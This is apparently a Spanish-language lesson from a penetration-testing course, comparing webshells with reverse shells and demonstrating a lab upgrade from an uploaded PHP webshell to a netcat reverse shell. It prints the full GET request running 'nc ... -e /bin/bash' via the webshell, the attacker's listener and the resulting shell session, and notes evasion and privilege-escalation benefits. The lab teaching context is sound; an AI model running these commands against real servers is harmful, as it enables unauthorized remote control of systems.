WebShell to RevShell

Definición y Comparación: WebShell vs Reverse Shell

Tanto las WebShells como las Reverse Shells son herramientas utilizadas para obtener acceso a un servidor comprometido. Sin embargo, presentan diferencias significativas en términos de funcionalidad y control que ofrecen al atacante.

  • WebShell: Es un script (normalmente escrito en PHP, ASP, o JSP) que se carga en el servidor web y permite ejecutar comandos del sistema operativo a través de una interfaz web. Las WebShells son útiles para la ejecución rápida de comandos y el acceso remoto a archivos del servidor, pero están limitadas por las características del servidor web y el lenguaje de scripting.

  • Reverse Shell: A diferencia de una WebShell, una Reverse Shell proporciona acceso completo a una terminal interactiva del sistema operativo comprometido. El servidor comprometido inicia una conexión con la máquina atacante, otorgando al atacante control directo y acceso al sistema de archivos, comandos del sistema y otros recursos del sistema operativo.

Ventajas de una Reverse Shell sobre una WebShell

  1. Acceso Directo al Sistema Operativo: Con una Reverse Shell, el atacante tiene acceso directo a la consola del sistema, lo que permite ejecutar cualquier comando del sistema operativo, como si estuviera físicamente frente al servidor. A diferencia de las WebShells, que están limitadas al entorno del servidor web, una Reverse Shell otorga el control total.

  2. Menor Detección: Las WebShells a menudo dependen de solicitudes HTTP, lo que puede ser monitoreado por sistemas de detección de intrusiones (IDS) y herramientas de análisis de tráfico web. Las Reverse Shells, por otro lado, operan directamente en la capa de red, lo que puede reducir la posibilidad de ser detectadas si se utilizan técnicas adecuadas como ofuscación de tráfico o canales cifrados.

  3. Interactividad Completa: Las WebShells están limitadas a una interacción a través de formularios web, lo que puede hacer difícil ejecutar secuencias complejas de comandos o scripts. En cambio, una Reverse Shell permite usar la terminal completa del sistema, incluyendo comandos como vim, nano, o la ejecución de scripts en bash, Python, etc.

  4. Ejecución de Aplicaciones Complejas: Mientras que las WebShells son útiles para tareas sencillas como listar archivos o ejecutar comandos simples, una Reverse Shell permite ejecutar aplicaciones más complejas, interactuar con bases de datos directamente, o incluso escalar privilegios mediante exploits en el sistema operativo.

  5. Persistencia: Una Reverse Shell es más adecuada para establecer persistencia, ya que una vez que el atacante ha logrado la conexión, puede establecer servicios adicionales, modificar configuraciones del sistema o instalar backdoors que se ejecuten fuera del servidor web, lo que facilita el acceso futuro.

Vamos a generar la reverse shell con la siguiente pagina utilizando el URL Encode:

En el escenario presentado, ya tenemos una WebShell funcionando en el servidor vulnerable. Para obtener un control más robusto y evitar las limitaciones de la WebShell, enviamos una Reverse Shell desde el servidor comprometido hacia nuestra máquina atacante.

La solicitud GET que enviamos al servidor para ejecutar la Reverse Shell es la siguiente:

GET /System/Sistema/Productos/uploads/spartancybersec.php?cmd=nc%20172.16.1.12%20443%20-e%20%2Fbin%2Fbash HTTP/1.1
Host: 172.16.1.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=37pfm0jpiovmvn2q1s71ui78j0
Upgrade-Insecure-Requests: 1

Este comando le dice al servidor comprometido (en 172.16.1.6) que ejecute Netcat (nc) y conecte de vuelta a la dirección 172.16.1.12 en el puerto 443, proporcionando una shell interactiva.

Configuración en el Servidor Atacante

En la máquina atacante, escuchamos en el puerto 443 utilizando Netcat para recibir la Reverse Shell:

┌──(root㉿kali)-[/home/kali/Desktop/CPPJ]
└─# ssh -i CursoHackingJunior.pem admin@44.214.248.132
Linux ip-172-16-1-12 5.10.0-21-cloud-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 29 16:30:12 2024 from 181.61.208.64
admin@ip-172-16-1-12:~$ sudo su
root@ip-172-16-1-12:/home/admin# nc -nvlp 443
Listening on 0.0.0.0 443
Connection received on 172.16.1.6 44240
whoami
www-data
ip a show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 0e:66:73:14:08:37 brd ff:ff:ff:ff:ff:ff
    inet 172.16.1.6/24 brd 172.16.1.255 scope global dynamic eth0
       valid_lft 3539sec preferred_lft 3539sec
    inet6 fe80::c66:73ff:fe14:837/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:21:19:6c:2b brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:21ff:fe19:6c2b/64 scope link 
       valid_lft forever preferred_lft forever
5: veth16a95cc@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether a2:9d:1b:24:e7:c1 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::a09d:1bff:fe24:e7c1/64 scope link 
       valid_lft forever preferred_lft forever
hostname
spartan.store

El servidor comprometido ejecuta el comando, y al recibir la conexión, obtenemos acceso interactivo al sistema. La conexión se realiza correctamente y la shell se ejecuta bajo el usuario www-data:

Este acceso nos da control directo sobre el sistema, donde podemos ejecutar comandos como ip a show para obtener información de la red, explorar los archivos del sistema, y potencialmente intentar una escalación de privilegios para obtener acceso de root.

Importancia de la Reverse Shell en Este Escenario

  1. Acceso Más Robusto: A diferencia de la WebShell, que requiere enviar comandos a través del navegador y esperar respuestas limitadas, la Reverse Shell proporciona acceso completo e interactivo a la terminal del servidor comprometido. Esto es particularmente útil cuando se necesitan ejecutar múltiples comandos o scripts complejos.

  2. Evasión de Controles Web: Las solicitudes HTTP utilizadas en las WebShells pueden ser registradas o bloqueadas por firewalls o IDS. Al usar una Reverse Shell, evitamos la capa web y dependemos directamente de la capa de red, lo que facilita la evasión de ciertos mecanismos de seguridad.

  3. Posibilidad de Escalar Privilegios: Al obtener una Reverse Shell con permisos limitados (en este caso, www-data), podemos intentar diversas técnicas de escalación de privilegios para obtener acceso total al servidor. La Reverse Shell nos permite ejecutar exploits y realizar análisis del sistema en tiempo real.

PreviousSubida de WebShell sobre metadatos de una imagen con ExifToolNextSpawn TTY

Last updated